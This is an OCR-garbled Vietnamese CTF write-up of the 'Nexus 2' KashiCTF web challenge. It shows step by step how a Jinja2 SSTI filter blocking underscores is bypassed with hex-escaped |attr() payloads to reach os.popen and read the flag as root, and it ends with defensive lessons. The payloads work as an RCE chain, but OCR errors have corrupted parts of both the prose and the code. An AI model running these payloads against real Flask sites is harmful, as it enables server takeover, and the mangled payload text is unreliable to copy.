CTF WRITE-UP

Nexus 2

Server-Side Template Injection (SSTI) — Filter Bypass = RCE

500 pts Web / SSTI Hard 3 Solves

"The lights from the future have become stronger, you have to be careful boy!!!"

Téac gid challenge: Aerex | Platform: KashiCTF

kashiCTF{lo4zrfGNOi1lHbEVSaFlgidjJyKczKtbr}
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1. Tong quan Challenge

Nexus 2 la bai Web 500 diém vai chi 3 lan solve — thudc loai khd. Target la mét (ng dung
web chay Flask/Python c6 tén PRISM. Nhiém vu la khai thac 16 héng SSTI trén Jinja2 dé vuot

qua filter nghiém ngat, dat RCE va doc flag.

Challenge 3 Solves

Nexus 2
500

By Aerex

0 190
The lights from the future have become stronger, you

have to be careful boy!!!

Instance expires in 11 minutes.
http://34.126.223.46:19250

‘ Submit

Flag

Hinh 1 — Challenge info: 500 di€m, by Aerex, instance URL dugc cap

2. Reconnaissance

2.1 Fingerprint tech stack
Dung Wappalyzer dé xac dinh cong nghé dang chay trén target:
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TECHNOLOGIES

Font scripts Web servers

B Google Font API ¢_ Flask 3.06

ex press
Web frameworks

Flask 305 Programming languages

ex Express J

P

Need more than the extension?

Hinh 2 — Wappalyzer phat hién Flask 3.0.6, Python 3.11.15, Node.js + Express

* Web Framework: Flask 3.0.6 —» template engine mac dinh la Jinja2
* Language: Python 3.11.15

e Node.js + Express: c6 thé la reverse proxy phia trudc Flask

Flask dung Jinja2 lam template engine —» day la dau hiéu roé rang dé nham tGi SSTI.

3. Xac nhan SSTI

Thir cac payload dinh danh SSTI co bdn vao input field ctia irng dung:

H{7*7}}

- Output: 49 v — Template engine dang evaluate expression ctia minh.

{7*'7"}}
- Output: 7777777 v

Két quad 7777777 la dac trung cua Jinja2 (Python nhéan int véi string = repeat). Néu la Twig
(PHP) thi sé ra 49. Tl&r day xac dinh chac chan: day la Jinja2 SSTI.

4. Phan tich Filter
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Thir payload khai thac chuan, tat cd déu nhan dugc:

Nice try, but that input is not allowed!
Filter dang chan gi d6. Bat dau test ting thanh phan dé€ thu hep pham vi.

4.1 Test lipsum global — PASS
{{lipsum}}

— PASS — Tra vé object lipsum binh thuong:

VERIFIED

Welcome to PRISM

REGISTERED IDENTITY

gltfunction generate_lore m_ipsum at 0x785dfeetd 4e0 &gt

STATUS ACCESS MNODE
FActive Level 1 Primary

Hinh 3 — lipsum hoat dong, tra vé

4.2 Test dau underscore () — BLOCKED
{{lipsum. globals }}

- BLOCKED — Ngay lap tdc bj chan.

K&t luén: Filter dang chan ky tu ddu gach dudi _ (underscore). Day la ky thuét filter phé bién
vi hau hét cac magic attribute cta Python déu bat dau va két thic bang dau __.

5. Bypass Filter — Tung Budc

Budc 1: Bypass underscore bang hex encoding

Jinja2 ho trg Unicode/hex escape trong string literals. Ky tu underscore _ = \x5f trong hex.
Thir dung |attr() két hop hex string dé tranh dau _ truc tiép:

{{(O) |attr("\x5f\x5fclass\x5f\x5f") |attr('\x5f\x5fbase\x5f\x5f") |attr('\x5f\x5fsubclasse
s\x5f\x5f") () }}

- PASS v — Hex encoding hoan toan bypass dugc filter underscore!
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Budc 2: Truy cap _globals__ cua lipsum
Ap dung hex encoding cho toan bo tén attribute, dung |attr() thay d&du chdm:

{{lipsum|attr (' \x5f\Xx5F\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"')}}
Gidi ma: \x67\x6c\x6f\x62\x61\x6c\x73 = globals

- PASS v — Dump dugc toan bd global namespace cula Jinja2!

VERIFIED

Welcome to PRISM

REGISTERED IDENTITY

[6:#39;__name__G#39; 6£39;]injal utils&¥39;, 6¥39;_ doc_ &%39; None, §¥39;__package__G#39; 6#39;]inja2&4#39; §#35;__loaddr__§
All Rights Reserved.

Copyright (c) 2000 BeOpen.com:
All Rights Reserved.

Copyright () 1995-2001 Corporation for National Ressarch Initiatives
All Rights Reserved.
STATUS ACCESS NODE
Copyright (c) 19811295 Stichting Mathematisch Cepgrdim Amsterdam. Primary
All Rights Ressrved., G#38credits@#39;;  Thanks to CWI, CNRL BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python developmeant Sse www, pythion.ong for more information, &#39licenss &£39; Type lcenss() tosse the full ficer

Hinh 4 — globals__ dump thanh céng, thdy _name_, jinja2_, package ...

Budc 3: Lay module os
Tl globals, dung __getitem _ dé€ Iy module os. Encode hét bang hex:

{{lipsum|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")
[attr("\Xx5F\x5F\x67\x65\x74\x69\x74\x65\x6d\x5F\x5f") ('\x6f\x73"')}}

Gidi ma: \x67\x65\x74\x69\x74\x65\x6d = getitem | \x6f\x73 = os

- PASS v — Truy cap dugc module os!
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Welcome to PRISM

REGISTERED IDENTITY

altmodule &#390s6:#39; (frozen) &gt

VERIFIED

ACCESS NODE
Level 1

Primary

Hinh 5 — — 0os module accessible!

6. Remote Code Execution

6.1 Payload RCE hoan chinh

Goi os.popen().read() dé thyc thi Iénh shell, encode toan bd bang hex:

{{Uipsum|attr (' \x5f\x5F\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")
[attr (' \x5F\X5F\Xx67\x65\x74\x69\x74\x65\x6d\x5F\x5f") ('\x6f\x73")

[attr('\x70\x6f\x70\x65\x6e") ('\x69\x64")

Gidi ma: ¢ \x70\x6f\x70\x65\x6e = popen * \x69\x64

read

[attr("\x72\x65\x61\x64"') () }}

= id (Iénh Linux)  \x72\x65\x61\x64 =

Welcome to PRISM

REGISTERED IDENTITY

wid=0{rooll gid=01 rootl groups=01 rooth

VERIFIED

\CCESS NODE
Lewel 1

Primary

Hinh 6 — RCE thanh céng! uid=0(root) gid=0(root) groups=0(root)

Dat dugc RCE véi quyén root! Day la mic cao nhat trén hé thong.

6.2 Liét ké filesystem tim flag

Thay Iénh id bang Is / (\x6c\x73\x20\x2f) dé xem thu muc root:
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{{lipsum|attr('\x5Ff\x5F\x67\x6c\x6T\x62\x61\x6c\x73\x5F\x5f")
[attr("\x5F\x5F\x67\x65\x74\x69\x74\x65\x6d\x5F\x5f") ('\x6f\x73")
[attr('\x70\x6f\x70\x65\x6e") ('\x6c\x73\x20\x2f"') |attr('\x72\x65\x61\x64")()}}

VERIFIED

Welcome to PRISM

REGISTERED IDENTITY

app
bin
boot
dev
etc
flag.txt
home
lib
lib64 STATUS ACCESS NODE
med Active Level1 Primary
mnt
opt
proc
oot
run
bin
s

Hinh 7 — Is / cho thay flag.txt ngay tai thu muc /

7. Poc Flag

Thay Iénh bang cat /flag.txt d€ doc ndi dung file:

{{Uipsum|attr (' \x5f\Xx5Ff\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")
|[attr("\Xx5F\x5F\x67\x65\x74\x69\x74\Xx65\x6d\x5F\x5f") ('\x6f\x73")

|[attr (' \x70\x6F\x70\x65\x6e"') ('\x63\x61\x74\x20\x2F\Xx66\X6Cc\x61\x67\x2e\x74\x78\x74")
[attr('\x72\x65\x61\x64") ()}}

PR ) W @ B B - prism_01348edc.png O B2 N BE & - o X

Welcome toPRISM

= (VENO) 700 x 450 10.3 KB @& B O 100% v Q =@ =—————@ 2

Hinh 8 — Flag!

kashiCTF{lo4zrfGNOi1lHbEVSaFlgidjJyKczKtbr}
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8. TOm tat Attack Chain

1

Recon
Confirm SSTI
Find Filter
Bypass _
Dump globals
Load os

RCE

Get Flag

Wappalyzer - Flask 3.0.6 + Python 3.11.15 - Jinja2 kha thi
{{7*7}}-49, {{7*'7'}}->7777777 xac nhan Jinja2 SSTI

Payload chudn bj block - test tirng phan — phat hién _ bj chan

\x5f thay _ trong string + |attr() thay ddu chdm - bypass hoan toan
lipsum|attr("\x5f\x5fglobals\x5f\x5f') - Iay global namespace
__globals__['0s'] » <module 'os' (frozen)>

os.popen('id').read() - uid=0(root)

os.popen(‘cat /flag.txt').read() - FLAG!

9. Bai hoc rut ra

» SSTI rat nguy hiém — cho phép thuc thi code tuy y trén server, tham chi véi quyén root

e Blacklist filter khéng da an toan — hex encoding, |attr(), Unicode escape déu c6 thé

bypass

* Nén dung whitelist approach thay blacklist khi validate input

* V6i Flask/Jinja2: dung SandboxedEnvironment hoac tranh render input ngudi dung truc

ti€p vao template

* lipsum, cycler, joiner la cac Jinja2 global it bi filter hon config hay request

Write-up: Nexus 2 (500pts) | KashiCTF | SSTI Jinja2 Filter Bypass —» RCE
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